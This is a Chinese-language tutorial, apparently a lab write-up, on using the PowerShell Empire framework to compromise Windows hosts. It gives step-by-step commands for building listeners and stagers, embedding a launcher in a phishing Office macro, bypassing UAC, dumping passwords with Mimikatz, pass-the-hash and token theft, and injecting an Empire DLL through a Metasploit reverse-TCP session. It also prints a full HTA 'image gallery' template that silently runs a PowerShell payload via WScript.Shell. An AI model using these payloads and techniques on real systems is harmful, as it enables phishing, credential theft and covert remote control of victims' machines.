Final——PowerShell Empire

1、介紹

  • Empire是一款針對Windows平臺的、使用PowerShell腳本做爲攻擊載荷的滲透攻擊框架工具,具備從stager生成、提權到滲透維持的一系列功能。Empire實現了無需powershell.exe就可運行 PowerShell代理的功能,還能夠快速在後期部署漏洞利用模塊,其內置模塊有鍵盤記錄、Mimikatz、繞過UAC、內網掃描等,而且可以躲避網絡檢測和大部分安全防禦工具的查殺,簡單來講有點相似於 Metasploit,是一個基於 PowerShell的遠程控制木馬。

2、安裝

  • Empire運行在Linux平臺下,安裝命令以下:javascript

    git clone https://github.com/EmpireProject/Empire.git
    //這樣容易失敗,建議直接去連接處下載壓縮包解壓進行後續使用
    cd /Empire/setup/
    ./install.sh
  • 運行:./empire
    image
    能夠看到它包含三個部分:
    • 一個是modules即自身的一些模塊
    • 一個是listernes即監聽,相似msfexploit/multi/handler模塊
    • 一個是agents即已經連接上的會話,相似msf所存的session
  • 輸入help查看使用幫助
    imagehtml

3、基本使用

  • 設置監聽
    • listeners進入監聽線程界面
    • uselistener後按一個空格在敲兩下TAB鍵列出可供使用的監聽器,這裏咱們選擇http
      image
    • 查看要設置的參數:info
      image
      咱們看到HostPort(即監聽使用的ip和端口)已是咱們攻擊方的IP和端口了,只須要修改Name便可
    • 設置參數:set Name test
    • 開始監聽:execute
      image
    • 設置完成後可以使用back-list查看設置好的監聽器
  • 生成木馬
    • 這裏能夠理解爲Metasploit裏的Payload,Empire中有多個模塊化的stager
    • usestager後按一個空格在敲兩下TAB鍵設置採用的模塊(能夠看到支持linux、Windows、osx)
      image
    • 選擇usestager windows/dlldll木馬
    • info查看參數設置
      image
    • 設置Name參數:set Name test(注意這裏的名字要和監聽器的名字同樣!)
    • execute執行後會看到在tmp目錄下生成了一個launcher.dll文件,該文件在目標主機上能夠經過webshell運行,運行後empire這邊就會成功上線。
    • 或者能夠back後輸入launcher <language> <listenerName>生成一行base64編碼代碼(即生成一個Payload),將生成的這段代碼在裝有powershell的目標機上執行,就會獲得這個主機的權限。

4、滲透實踐

一、利用PowerShell Empire生成網絡釣魚文件

  • 使用Empire的macro載荷
    • 按以前步驟設置好監聽
      image
    • 使用macro載荷
      image
  • 上圖中咱們生成了一個宏,而且保存在tmp目錄中名稱爲macro,打開咱們能夠發現該載荷使用PowerShell的編碼命令進行了轉換,就像咱們用launcher powershell tc生成payload,再進行VBA代碼的轉換。
    image
  • 將上面的宏添加到一個Office文檔中
    • 新建一個Word文件或Excel文件
    • 選擇視圖-,點擊建立後,在VB編輯界面將裏面已有的代碼刪除,而後,將剛纔用Empire生成的宏複製粘貼進去。
      image
    • 點擊保存時會跳出一個對話框,選擇,接着咱們保存爲97-2003格式便可。
  • 如今將生成好的釣魚文件在靶機上運行(釣魚文件嘛裏面要添加一些正常吸引人的內容),此時會有提示未啓用宏,點擊啓用宏內容後,ok上線成功!
    image
  • 下面咱們就能夠進行一些操做了!!
    • 修改下靶機的名稱(方便使用):rename 43SY8BVU tc
    • 與靶機進行交互:interact tc
    • 截屏:sc
      image
    • 查看系統信息:sysinfo
      image
    • 嘗試提權:bypassuac test,等幾秒鐘,就會返回一個更高權限的shell,再次輸入agents,發現當前靶機主機名前帶有一個*,表示提權成功!
      image
    • 使用內置的mimikatz模塊:mimikatz神器mimikatz介紹)這裏主要是抓取靶機的用戶名和密碼
      image

二、MSF與Empire聯動

  • 咱們在以前的實驗裏都是用MSF進行滲透獲取session,而這個session通常是沒有高權限的,這是咱們能夠利用Empire進行後續更高權限操做。
  • 先使用msfvenom簡單編碼生成一個木馬:msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.88.130 LPORT=5330 -a x64 -f exe -o test.exe
  • MSF中開啓監聽並在靶機上運行獲取session
    image
  • 接下將這個session關聯至Empire
    • 建立一個監聽器,設置監聽器名字、監聽主機和監聽端口(注意和MSF的相同)
    • 使用dll諸如進程來關聯Empire:咱們選用usestager windows/dll模塊
      image
  • 選取一個進程號實現注入:MSF的session下使用ps查看進程
    image
  • 注入dll文件
    • background後臺運行會話
    • use post/windows/manage/reflective_dll_inject
    • 設置參數後run
      image
  • 看到注入完畢,Empire這邊就有了上線反應(由於電腦出問題重作了一遍,靶機地址有變)
    image
  • 下面咱們先提權:bypassuac test(監聽名稱)
    image
  • 如今咱們使用Empire自帶的module進行令牌竊取
    • 使用內置mimikatz獲取系統密碼,執行完畢後輸入creds命令查看Empire列舉的密碼
      image
    • 竊取身份:pth CredID號
      image
    • 竊取身份令牌:steal_token PID號
      image
    • 經過ps咱們能夠找到該進程
      image

三、永生之火後門滲透

  • Empire按以前步驟開啓監聽後,launcher powershell test生成一段powershell代碼
    image
  • 隨任意格式的圖片在在線base64轉換將其轉成base64格式
    image
  • 上面代碼插入如下代碼塊中java

    <html>
    <head>
       <title>weibo@flagellantX</title>
    </head>
    <script type = "text/javascript">
    
    var index= -1;
    var images = ["base64代碼段"];
    
    function initGallery () {
     window.resizeTo (300,300);
     htaPayload ();
     nextPicture ();
    };
    
    function nextPicture () {
     var img;
     index = index + 1;
     if (index > images.length -1) {
         index = 0;
     }
     img = document.getElementById ("gallery");
     img.src = images [index];
    };
    
    function htaPayload () {
      var payload="PowerShell代碼段";
      try{
          if(navigator.userAgent.indexOf("Windows") !== -1){
              new ActiveXObject("WScript.Shell").Run("CMD /C START /B " + payload, false);
          }
      }
      catch(e){
      }
    };
    
    </script>
    
    <style>
    
    #gallery, div {
    width: 100%;
    height: 100%;
    }
    
    #outer {
    text-align: center;
    }
    
    #inner{
    display: inline-block;
    }
    
    body {
    background-color: black;
    }
    
    </style>
    
    <body onload = "initGallery ()">
      <div id = "outer">
        <div id = "inner">
          <img id = "gallery" onclick = "nextPicture ()">
        </div>
      </div>
    </body>
    </html>
  • 將完整的代碼,用Script Encoder程序打開,選用HTML/ASP+Scripts,點擊Convert。在右邊框,造成腳本代碼。
    image
  • 以後咱們打包出一個.hta的可執行文件,在目標主機上運行,輕鬆在Empire上線
    imagelinux

參考資料git

相關文章
相關標籤/搜索